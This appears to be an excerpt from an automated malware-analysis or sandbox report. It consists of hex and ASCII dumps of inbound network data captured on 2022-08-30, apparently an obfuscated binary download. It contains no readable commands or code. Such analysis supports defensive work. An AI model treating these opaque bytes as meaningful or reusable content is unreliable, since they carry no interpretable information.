b9 f0 b9 7f 20 4f a6 00 00 68 69 00 01 00 8d ce 5f 4a 06 b8 c9 3a 1b 00 8b c6 a9 67 47 c8 67 a2 f9 b9 fc 95 6d 3c c1 d9 a9 10 99 fc 91 0f c1 a0 cc 47 85 44 b4 5c 27 b9 88 31 b9 76 2b f9 99 ce a5 6a 0a dc f5 Data Ascii: /es{vMgoo#LQZ}_tswu}{H+)ddgCrf<E(hi_Js3G5la~KeMF Ohi_J:gGgm<GD\'1v+j
2022-08-30 13:55:06 UTC	582	IN	Data Raw: 75 8f c2 41 81 c7 46 83 fe 79 e7 e8 88 d6 55 8b fe 89 f4 75 7d 33 e1 d5 8b 04 80 00 00 8b c6 bd 7d 81 dd 5a d2 5d 8d c7 46 81 d7 5a 8d f8 75 8f c5 4a 8d f8 79 83 c5 4a 3f 75 46 7d 15 ea c6 4e 06 8c c5 42 f1 3f 42 79 da a8 c4 4e 06 77 56 a5 fd 72 0f 75 7b 85 41 71 bb 00 00 80 53 38 60 c6 45 01 10 a2 bb 00 00 80 0b 41 19 38 66 c9 fc fc 4d 11 f3 c2 a9 fd 72 0f 75 65 9d c7 aa 5b bb 00 00 80 53 38 60 c6 45 01 50 5d 89 c7 aa 5a ba 00 00 80 53 39 67 09 3c 7c c4 00 00 09 19 9b ce b9 75 8f 8f cd 74 cc 77 ce b5 0f f7 07 8a 76 f3 00 00 a1 25 32 b6 10 95 45 cf 8b 5c d8 00 00 8b 86 91 25 b9 10 9b be a1 14 80 10 78 68 40 40 00 c1 20 ee 0c 4b 44 b7 bb 80 80 00 53 02 ae 29 5d 86 91 25 b9 10 b1 25 32 b6 10 aa ba 00 00 80 53 39 e3 59 58 a9 25 32 b6 10 9b cb 50 9b 86 91 25 Data Ascii: uAFyUu}3}Z]FZuJyJ?uF}NB?ByNwVru{AqS8`EA8fMrue[S8`EP]ZS9g<\|utwv%2E\%xh@@ KDS)]%%2S9YX%2P%
2022-08-30 13:55:06 UTC	584	IN	Data Raw: 1d 38 66 f9 72 02 f3 24 f2 7d cc d4 ba f0 7b 56 a8 c6 45 29 38 f2 f7 91 c3 ae 33 38 66 c1 4a 02 f3 24 f2 bd 0c 54 c4 00 00 fe f7 7c 73 8d c6 45 29 78 5d 8f d6 51 87 c4 47 83 fc 73 8d f8 75 8f fc 7f 83 c4 4b 8d f8 79 83 fe 65 13 76 89 75 fc 65 d1 3f fa 4a cd 7d c1 49 75 69 55 61 d5 c6 b9 79 81 fd 7a f2 7d 8d c2 43 81 f2 7f 8d d0 5d 8f c0 4f 8d d0 51 83 c0 4f 3f 70 43 7d 22 dd c6 4a 02 8c c5 42 f1 3f 42 7d de a8 c4 4a 02 77 6f 9c fd 72 0f 75 7b 85 45 71 bf 00 00 80 53 3c 64 c6 45 01 30 b4 c9 d4 d4 cf 45 25 cb a0 fd 72 0f 75 65 9d c3 ae 5f bf 00 00 80 53 3c 64 c6 45 01 70 7d 89 09 14 54 c4 00 00 8d c3 ae 5a ba 00 00 80 53 39 e3 19 9b ce 55 99 8a 8a cd 5c e4 cf f3 80 1f 01 05 92 0a 96 de 67 6f 6f f8 b5 29 31 b9 10 9b c6 45 63 ab d4 17 06 89 35 b9 10 93 42 d6 Data Ascii: 8fr$}{VE)838fJ$T\|sE)x]QGsuKyevue?J}IuiUayz}C]OQO?pC}"JB?B}Jworu{EqS<dE0E%rue_S<dEp}TZS9U\goo)1Ec5B
2022-08-30 13:55:06 UTC	585	IN	Data Raw: 1d 00 a6 d0 f4 81 03 8a 7d e0 96 85 04 00 a6 d0 cc a1 23 82 b9 02 01 00 00 17 b7 5f 00 00 8b d6 b9 df e4 ab 65 ee 8a 7d 5f 04 bb 51 b2 0b 00 83 47 c8 37 e4 aa 14 37 3c 62 f7 ca 91 15 b1 10 ef ea 0d 98 80 10 9b 53 e3 e4 aa 39 75 04 95 1e b6 10 64 47 65 be 36 36 17 00 a6 dc 45 cf 8a f7 8d 00 00 74 ce 55 2b fc c8 8b d4 af 00 00 38 c7 0c 0c 00 00 e9 ac ba 00 00 cc cc 74 fe 79 66 6e ec 45 4d 1f 00 a6 9a f8 e4 aa 78 86 ce 55 2b fc b3 72 c1 c7 0c 0c 00 00 8b 48 2b 2f 1c 24 00 3c a9 7a 78 d0 2c 94 10 f8 9d ae 24 00 74 d6 55 8d 5e ae 7b f1 8a 79 e4 ec fa 01 00 a6 b0 25 cd 01 00 8b fe 79 89 73 83 79 5f bb e0 d8 2f 00 a6 b0 5e b6 01 00 83 be 95 11 b9 10 13 0c 8a 16 92 01 00 33 cc 76 f4 99 67 7d 1e ef 88 0d 8b 01 00 6a 6e ec fc f5 1e 00 a6 d0 f4 81 af bb 51 4b 0d 00 Data Ascii: }#_e}_QG77<bS9udGe66EtU+8tyfnEMxU+rH+/$<zx,$tU^{y%ysy_/^3vg}jnQK
2022-08-30 13:55:06 UTC	586	IN	Data Raw: cf ca 7e 79 cd cb 7f 7b cf ca 7a 7d cd cb 7b 7f cf ca 76 71 cd cb 77 73 cf ca 72 75 cd cb 73 71 89 89 8d 00 00 00 03 f3 f3 fb 07 db b1 91 52 56 10 9b 74 eb 42 56 10 0c 4a 56 10 38 7e 56 10 2c 6a 56 10 9b ce 4d 56 01 96 0a 53 1a 8c 8e 8f 8c ce 4d 56 01 96 0a 53 1a 8c 8e 8f 8d cc 47 89 cf 46 8a ce 4d 56 01 96 0a 4e c4 49 8a 8c 8e 8f 8d cc 47 89 cf 46 8b cc 44 8a cf 45 89 ce 4d 56 01 96 0a 53 1d f9 45 cd 71 f1 45 c5 0b 30 c4 03 00 00 75 51 e5 28 eb 81 61 e1 80 7a f1 7a 7f f0 0e 56 59 03 db b1 35 f7 57 10 9b 74 08 2e 26 db a9 dd 07 57 10 9d c4 49 8b 4c 7d b9 03 00 00 83 7a fd 76 7e 8f 63 e3 28 e3 37 db a1 21 f2 56 10 ef db a9 2d f7 57 10 80 24 e2 56 10 c8 8e 56 10 10 57 57 10 9a cc 45 20 f2 59 cf 44 80 6d ef c0 28 eb 81 6c ee 82 7a f1 7a c0 4f 0e 56 59 03 db Data Ascii: ~y{z}{vqwsrusqRVtBVJV8~V,jVMVSMVSGFMVNIGFDEMVSEqE0uQ(azzVY5Wt.&WIL}zv~c(7!V-W$VVWWE YDm(lzzOVY
2022-08-30 13:55:06 UTC	588	IN	Data Raw: 70 46 0d 3a 8d c3 c0 8f 9a 64 84 86 82 48 04 7c f1 bf 77 4c 3a 86 c8 c0 8e 65 98 90 f0 24 14 27 00 95 48 7b d0 81 83 7a 1a 5f 87 f3 9f 01 05 98 96 de 67 bf 05 dd fe 7d 3b e8 e2 64 49 43 22 65 2b c8 86 65 29 64 51 79 67 21 f3 9f 01 05 06 9e f8 c8 87 73 8c f6 71 37 c0 8c 6c f3 65 55 27 00 95 7c 48 d7 b9 63 00 00 00 00 bb f7 c7 27 00 7c 47 d0 9f 4d 2d 3e ec 64 49 61 71 8c 96 f5 21 41 de 45 2b e8 a6 71 8c 96 f5 3a 52 fe 69 eb 74 4d b3 7a 85 80 82 80 48 02 78 f1 bf 6a 51 3a 86 18 f2 93 80 82 80 48 02 78 f1 bf 7c 47 3b 71 fa b2 59 61 9b d7 64 49 61 77 8a 90 23 c0 8e fe 08 fe 69 eb 8a 7a 84 ce 49 66 3a d8 d4 5a f9 a7 b1 91 87 00 00 77 96 f6 fb cb 27 00 95 48 7b d0 81 83 7a 1a 69 09 c7 68 20 52 65 c5 cd f5 b2 62 9d 7a fb 7c 72 8f 7a fa 76 61 b5 ad a1 ad 10 4e 9d Data Ascii: pF:dH\|wL:e$'H{z_g};dIC"e+e)dQyg!sq7leU'\|Hc'\|GM->dIaq!AE+q:RitMzHxjQ:Hx\|G;qYadIaw#izIf:Zw'H{zih Rebz\|rzvaN
2022-08-30 13:55:06 UTC	589	IN	Data Raw: 3e 35 9b ab 10 64 73 57 b8 55 7d 3f 00 a6 d2 cd 52 2f 3e 31 9f ab 10 64 73 57 b8 43 6b 3f 00 a6 d2 cd 5e 23 3e 3d 93 ab 10 64 73 57 b8 71 59 3f 00 a6 d2 cd 5a 27 3e 39 97 ab 10 64 73 57 b8 6f 47 3f 00 a6 d2 cd 66 1b 3e 45 eb ab 10 64 73 57 b8 9d b5 3f 00 a6 d2 fd 52 1f 0e 71 ef ab 10 64 73 51 be 8b a3 3f 00 a6 07 9d 0f 00 00 99 de 67 ba 65 f3 90 00 00 00 00 00 00 00 db de 59 81 c4 49 8a 88 08 ca b4 7d 8a 41 c3 0e a4 af 20 cf 1a 7a fe 7d 8b 4a 36 72 c4 49 83 42 c0 8b 8c 0c ca b4 7d 8a 45 c7 0e ac a7 20 57 9d 65 4a 42 47 e4 7e 97 0a 0f 00 00 00 00 00 00 00 00 00 47 df 70 20 8f c7 68 2c ff 35 c1 03 00 00 75 49 b7 89 38 3b 74 5b 24 ca b4 52 1c 5b 60 74 50 2f ee 90 69 dc 29 f8 2a 7b 43 77 6c 13 ca b4 65 2b 5b 62 76 65 93 42 c5 87 41 c6 0e ee 91 a7 59 74 cc f3 Data Ascii: >5dsWU}?R/>1dsWCk?^#>=dsWqY?Z'>9dsWoG?f>EdsW?RqdsQ?geYI}A z}J6rIB}E WeJBG~Gp h,5uI8;t[$R[`tP/i)*{Cwle+[bveBAYt
2022-08-30 13:55:06 UTC	590	IN	Data Raw: b2 49 0c 04 70 5d 10 64 41 13 8b 34 b0 00 00 3b 76 51 13 80 28 a7 00 00 ff 8a 69 e3 8a 6d 4f a8 8a 81 0b 8a 79 f3 8a 7d f7 29 3f 79 90 00 00 3b f0 b5 3b 2f 8a d3 e1 8a af 06 72 7b fa 70 4b b4 c9 4d 01 35 3d 04 04 00 77 61 fe 12 f3 09 00 8b 7f cf c8 87 1e ad c1 ca 00 cc 00 83 45 ce e3 f1 4a b8 81 80 16 00 c4 f8 9a 2d 7d ce c7 dd 00 dd 00 83 43 c8 83 7b 1b e9 31 c5 cd c8 87 35 be 8a 8d ae 01 a8 8a 81 0b 8a 79 f3 8a 7d f7 ea f9 6c 80 10 95 45 b4 56 1b 64 41 4f 00 26 71 57 00 b8 ed f9 8a 69 e3 8a 6d e7 8a 8d ae 05 ac 8a 55 df ea 91 04 80 10 99 cc bd ae be bc ac 07 00 a6 a6 8a 81 1c a3 b3 07 00 74 ce bd a1 b0 b0 58 01 00 39 64 55 81 d4 a9 7d d4 ad 85 7d 83 8d 8d cb 54 9d cc 4d 31 64 7d 55 7d 83 8d 8d cb 44 8d cc 65 df 8a 7d e0 2c cd 09 00 83 7b 07 a6 d0 cc a9 Data Ascii: Ip]dA4;vQ(imOy})?y;;/r{pKM5=waEJ-}C{15y}lEVdAO&qWimUtX9dU}}TM1d}U}De},{
2022-08-30 13:55:06 UTC	592	IN	Data Raw: 91 cd cb 97 93 cf ca 9a 9d cd cb 9b 9f cf ca 9e 99 cd cb 9f 9b cf ca 82 85 cd cb 83 87 cf ca 86 81 cd cb 87 83 cf ca 8a 8d cd cb 8b 89 89 89 8d 00 00 00 03 f3 f3 fb 07 db b1 95 6b 6b 10 9b 74 ef 7b 6b 10 08 73 6b 10 38 43 6b 10 2c 57 6b 10 9b ce 4d 56 01 96 0a 53 1a cc 45 8b cf 44 88 ce 4d 56 01 96 0a 4e c4 49 8a cc 45 8b cf 44 89 cc 44 8a cf 45 89 ce 4d 56 01 96 0a 53 1a cc 45 8b cf 44 89 cc 44 8a cf 45 88 cc 47 89 cf 46 8a ce 4d 56 01 96 0a 96 de 67 6f 6f e4 81 f4 81 75 fc 8d 73 fe 79 87 f6 75 83 c6 5d d1 28 ee ec ed 8b 16 9b 00 00 00 66 69 60 69 60 69 60 21 5e 76 69 60 39 76 46 69 60 31 6e 56 69 70 78 61 69 70 30 5f 76 69 70 28 77 46 69 70 20 6f 56 69 60 09 26 26 69 60 01 3e 36 69 60 19 16 06 69 60 11 0e 16 69 70 18 27 26 69 70 10 3f 36 69 70 08 17 06 Data Ascii: kkt{ksk8Ck,WkMVSEDMVNIEDDEMVSEDDEGFMVgoousyu](fi`i`i`!^vi`9vFi`1nVipxaip0_vip(wFip oVi`&&i`>6i`i`ip'&ip?6ip
2022-08-30 13:55:06 UTC	593	IN	Data Raw: 28 e4 ff 12 05 00 83 47 c8 cf 96 de 67 6f 6f e0 ad a1 a0 a0 10 23 f6 4c cc b9 96 6c 8b c8 b1 a4 38 6c 14 10 00 ff 8a 7d ce 83 bf fa ff ea c9 5c 80 10 95 45 b5 70 86 4b 37 14 e1 87 c8 b1 a4 b8 5d 4a 00 00 a6 d2 c6 b1 cf fe 25 b6 fa 5b 00 36 0a 96 de 67 6f 6f d8 95 a1 a0 a0 10 23 f6 4c cc b9 77 ce 55 9b c6 55 91 cc 9d 53 ce 51 47 da cc 95 5b 8b 56 df cc 99 57 ce 4d 5f 64 cc c4 7e 49 85 c4 81 45 f4 9d 69 f4 a9 db 8b db 5e 01 00 8b be 89 3c 80 10 9d c0 a5 b9 01 af 29 53 45 4b 96 c5 58 80 10 64 2a dd fe 95 e9 74 2d d5 c8 ad b8 af 8a 79 f3 29 53 45 b4 3f c8 fe 95 e9 74 30 ce fe a9 5f 7d 01 38 82 91 d5 01 00 00 75 79 f3 8a ad 30 59 53 1d 00 74 7b a9 1f 7d cc 89 25 da 7f 0e 0f 00 80 08 24 de c9 72 3e 35 3d 04 04 00 77 58 c7 49 5f 01 00 74 4f ff fc b3 4c ff c7 cc Data Ascii: (Ggoo#Ll8l}\EpK7]J%[6goo#LwUUSQG[VWM_d~IEi^<)SEKXd*t-y)SE?t0_}8uy0YSt{}%$r>5=wXI_tOL
2022-08-30 13:55:06 UTC	594	IN	Data Raw: 71 bb f6 f2 e9 ec 96 ad c4 49 8a ac 2c ee 6e 8d 73 53 2d ca b4 57 a0 45 c7 82 44 c6 3b dd 95 74 3c d9 94 75 00 e4 dc fd b5 74 3c f9 b4 75 00 c4 fc da 95 7e 88 6a e8 74 a4 e2 fa f3 da 94 7d b0 46 00 00 00 8d 70 f5 2e 52 4a 9a 05 01 96 0a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9a dd cf 60 30 1f cb b5 5d a3 c7 68 34 9b cf 60 28 3f e1 25 06 7a 53 53 cf 60 2c ff 06 7a 7b 7b 48 34 93 40 34 9b 43 43 4d 31 93 40 34 13 d2 3a ac cc 43 43 d7 78 34 9b df 70 28 87 cf 60 2c d9 38 38 0a 0a 3b 3b 09 d3 c2 bc 81 03 04 78 7b 07 93 40 30 9f 43 43 cf 60 34 e7 11 e5 d2 a3 7c 35 6f 70 28 7b 7f 7a 7d 34 7f 60 2c 7e 7f 47 65 6f 60 34 0b 4f 70 30 27 e8 f0 6f 60 2c 13 4f 70 28 fb 2d 2d 2f 5b 59 da 8b 41 41 58 58 52 52 43 43 4d 98 9c d2 10 cc 00 00 00 00 00 00 00 00 00 00 47 Data Ascii: qI,nsS-WED;t<ut<u~jt}Fp.RJ`0]h4`(?%zSS`,z{{H4@4CCM1@4:CCx4p(`,88;;x{@0CC`4\|5op({z}4`,~Geo`4Op0'o`,Op(--/[YAAXXRRCCMG
2022-08-30 13:55:06 UTC	596	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:55:06 UTC	597	IN	Data Raw: d6 40 96 00 ea 7c 96 00 06 91 97 00 24 b3 97 00 38 af 97 00 4c db 97 00 5a cd 97 00 68 ff 97 00 74 e3 97 00 82 15 97 00 8c 1b 97 00 a4 33 97 00 b4 23 97 00 c4 53 97 00 dc 4b 97 00 e4 73 97 00 f6 61 97 00 06 9e 98 00 14 8c 98 00 26 be 98 00 3e a6 98 00 54 cc 98 00 6e f6 98 00 86 1e 98 00 a0 38 98 00 b6 2e 98 00 d0 48 98 00 de 46 98 00 ec 74 98 00 fa 62 98 00 14 8d 99 00 24 bd 99 00 3a a3 99 00 54 cd 99 00 60 f9 99 00 78 e1 99 00 90 09 99 00 a0 39 99 00 bc 25 99 00 c8 51 99 00 d2 4b 99 00 de 47 99 00 ee 77 99 00 fc 65 99 00 08 92 9a 00 14 8e 9a 00 2a b0 9a 00 3c a6 9a 00 4e d4 9a 00 60 fa 9a 00 70 ea 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d7 e3 34 10 da 89 43 10 af d3 6c 10 dc be 72 10 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @\|$8LZht3#SKsa&>Tn8.HFtb$:T`x9%QKGwe*<N`p4Clr
2022-08-30 13:55:06 UTC	598	IN	Data Raw: 0d 04 11 50 45 17 00 1d 1d 7f 07 0a 00 00 00 52 64 06 01 06 3a 07 27 0d 55 1b 0b 1d 08 15 06 17 11 01 44 4d 18 19 18 1d 1d 1c 1a 17 04 05 44 4c 03 0c 08 4b 45 17 00 1d 1d 7f 07 0a 00 00 00 52 64 06 01 07 3b 07 27 0d 4e 01 1b 54 45 0b 01 1a 12 0f 48 53 03 11 02 06 45 46 09 1d 52 54 1c 1a 17 04 05 44 44 05 15 15 6c 07 0a 0d 07 5e 3c 01 1a 53 41 11 00 1c 05 0a 02 15 1d 06 01 4e 48 09 12 53 52 17 14 04 10 16 07 11 01 44 54 1c 0d 45 72 27 1b 1a 1d 04 08 45 54 1b 4f 54 11 17 1f 04 07 0f 15 11 45 49 1d 54 49 07 4e 41 0f 4e 55 1b 1b 06 06 14 0d 4c 57 16 18 57 24 5a 3c 09 04 12 16 45 43 0c 01 1a 15 02 17 54 54 1c 0d 45 41 11 00 1c 05 0a 02 15 1d 06 01 49 54 53 53 06 05 00 1f 1d 06 54 54 11 04 0c 4d 46 09 1d 52 4d 02 1d 17 45 49 07 08 09 1d 1f 0c 15 1d 06 01 40 23 Data Ascii: PERd:'UDMDLKERd;'NTEHSEFRTDDl^<SANHSRDTEr'ETOTEITINANULWW$Z<ECTTEAITSSTTMFRMEI@#
2022-08-30 13:55:06 UTC	600	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 28 28 28 28 28 28 28 28 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 48 10 Data Ascii: hh(((((((( HH
2022-08-30 13:55:06 UTC	601	IN	Data Raw: 01 0f 01 03 01 07 01 03 01 3f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 1f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 7f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 1f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 3f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 1f 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 b7 00 72 57 00 57 49 00 73 00 00 00 64 00 00 00 48 0c 6d 00 00 00 6d 44 00 48 0c 59 00 00 00 79 4d 00 62 4b 00 4b 56 00 79 00 00 00 50 1d 4d 00 41 0c 4d 00 44 21 06 06 08 0f 07 17 72 00 00 00 4e 21 19 13 08 0f 07 17 72 00 00 00 4f 2c 17 1b 0d 07 17 72 53 36 15 04 11 08 0f 07 17 72 00 00 41 34 12 12 06 07 74 00 4a 3f 19 15 79 00 00 00 4a 3f 1b 0b 65 00 00 00 41 31 02 1b 05 6c 00 00 4d 2c 13 11 0b 68 00 00 46 23 07 10 07 14 13 0b 79 00 00 00 4a 2b Data Ascii: ??rWWIsdHmmDHYyMbKKVyPMAMD!rN!rO,rS6rA4tJ?yJ?eA1lM,hF#yJ+
2022-08-30 13:55:06 UTC	602	IN	Data Raw: 8c 1b 97 00 a4 33 97 00 b4 23 97 00 c4 53 97 00 dc 4b 97 00 e4 73 97 00 f6 61 97 00 06 9e 98 00 14 8c 98 00 26 be 98 00 3e a6 98 00 54 cc 98 00 6e f6 98 00 86 1e 98 00 a0 38 98 00 b6 2e 98 00 d0 48 98 00 de 46 98 00 ec 74 98 00 fa 62 98 00 14 8d 99 00 24 bd 99 00 3a a3 99 00 54 cd 99 00 60 f9 99 00 78 e1 99 00 90 09 99 00 a0 39 99 00 bc 25 99 00 c8 51 99 00 d2 4b 99 00 de 47 99 00 ee 77 99 00 fc 65 99 00 08 92 9a 00 14 8e 9a 00 2a b0 9a 00 3c a6 9a 00 4e d4 9a 00 60 fa 9a 00 70 ea 9a 00 00 00 00 00 55 57 4e 23 0e 05 28 25 0b 10 13 13 0b 2e 57 00 a0 a1 46 22 11 24 22 1d 0c 22 25 00 16 17 16 00 73 00 4b 0e 17 1c 0b 09 7f 01 1c 4a 08 00 6c 00 46 47 46 22 11 37 36 07 00 17 0b 1a 20 3c 1a 17 04 05 2d 2d 64 00 10 11 46 22 11 37 2c 02 00 0c 0f 0a 28 25 07 0b 24 Data Ascii: 3#SKsa&>Tn8.HFtb$:T`x9%QKGwe*<N`pUWN#(%.WF"$""%sKJlFGF"76 <--dF"7,(%$
2022-08-30 13:55:06 UTC	604	IN	Data Raw: 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: g
2022-08-30 13:55:06 UTC	605	IN	Data Raw: 00 00 10 10 00 00 05 05 00 c0 cb 0b 00 00 00 00 00 00 1d 1d 00 c0 c4 04 00 00 00 00 00 00 96 96 00 c0 c4 04 00 00 00 00 00 00 8d 8d 00 c0 c8 08 00 00 00 00 00 00 8e 8e 00 c0 c8 08 00 00 00 00 00 00 8f 8f 00 c0 c8 08 00 00 00 00 00 00 90 90 00 c0 c8 08 00 00 00 00 00 00 91 91 00 c0 c8 08 00 00 00 00 00 00 92 92 00 c0 c8 08 00 00 00 00 00 00 93 93 00 c0 c8 08 00 00 00 00 00 00 03 03 00 00 07 07 00 00 78 78 00 00 0a 0a 00 00 02 02 00 00 d8 5e 86 10 18 08 00 00 ac 2a 86 10 19 09 00 00 80 06 86 10 1a 0a 00 00 e8 6d 85 10 00 10 00 00 bc 39 85 10 01 11 00 00 8c 09 85 10 02 12 00 00 68 ed 85 10 03 13 00 00 3c b9 85 10 08 18 00 00 04 81 85 10 09 19 00 00 dc 58 84 10 0a 1a 00 00 a4 20 84 10 0b 1b 00 00 6c e8 84 10 0c 1c 00 00 44 c0 84 10 0e 1e 00 00 24 a0 84 10 0f Data Ascii: xx^*m9h<X lD$
2022-08-30 13:55:06 UTC	606	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 03 01 07 Data Ascii: a
2022-08-30 13:55:06 UTC	608	IN	Data Raw: f4 74 90 10 c8 48 90 10 dc 5c 90 10 d8 58 90 10 d4 54 90 10 a8 28 90 10 b4 34 90 10 88 08 90 10 19 0d 04 00 01 01 00 00 00 00 00 00 60 ca aa 10 3e 2e 00 00 1c b7 ab 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 8c 2a b6 10 6f 00 00 00 00 00 00 00 5f 8b ab 10 ee 01 00 00 fe 01 00 00 2e 2e 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 25 96 8a 19 00 00 00 00 00 00 00 00 00 00 00 80 f0 70 00 01 01 00 00 f0 01 0e 00 ff 00 00 00 50 03 07 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 14 10 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: tH\XT(4`>.*********o_.. %pPTPT
2022-08-30 13:55:06 UTC	609	IN	Data Raw: 97 5e 63 60 03 07 07 00 00 01 01 67 67 00 00 88 88 00 80 80 00 00 00 00 00 00 00 04 04 00 00 00 00 01 01 02 02 00 00 a0 a0 00 80 80 00 00 00 c9 97 5e 63 60 03 07 07 00 00 01 01 09 0d 04 00 b8 b8 00 00 00 00 00 00 c9 97 5e 63 60 03 07 07 00 00 01 01 09 0d 04 00 c8 c8 00 00 00 00 00 00 00 00 00 00 04 04 00 00 00 00 01 01 09 0d 04 00 d8 d8 00 00 e8 28 c0 00 a8 8d 25 00 00 00 00 00 00 00 00 00 90 76 e6 00 14 14 00 00 00 00 00 00 00 00 00 00 a4 42 e6 00 56 56 00 00 e4 e0 04 00 00 00 00 00 28 28 00 00 30 30 00 00 60 60 00 00 01 01 20 20 00 00 00 00 80 a5 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 0d 0d 00 00 1c 1c 00 00 1c Data Ascii: ^c`gg^c`^c`(%vBVV((00`` %
2022-08-30 13:55:06 UTC	610	IN	Data Raw: 00 00 00 00 00 00 4a 00 00 92 7a 00 00 5d 2a 00 00 2a 2a 00 00 2a 2a 00 00 2a 20 00 00 20 00 00 00 00 0b 0e 04 01 32 27 10 05 38 20 1d 05 3f 24 1d 06 46 58 18 06 3e 24 1c 06 2f 3b 10 04 1c 10 0f 03 06 04 03 01 00 00 00 00 0b 00 00 0b 38 00 00 38 64 00 00 64 91 00 00 91 ba 00 00 b2 c7 00 8c 43 e3 00 e3 00 e3 00 e3 00 e0 00 eb 0b d5 00 ed 38 e5 00 e5 00 e6 00 e6 00 e6 00 e6 00 e7 00 e7 00 e8 00 e8 00 db 00 f7 2c e9 00 e9 00 ea 00 ea 00 ea 00 ea 00 c3 00 b9 7a dc 00 00 f2 d1 00 00 88 88 00 00 3c 3c 00 00 0a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 00 00 90 29 00 00 29 29 00 00 29 29 00 00 29 29 00 00 29 1f 00 00 1f 00 00 00 00 0c 09 04 01 36 21 12 05 3c 25 1c 05 43 5f 1a 06 49 56 18 07 50 72 25 07 57 72 2d 08 5d Data Ascii: Jz]****** 2'8 ?$FX>$/;88ddC8,z<<o))))))))6!<%C_IVPr%Wr-]
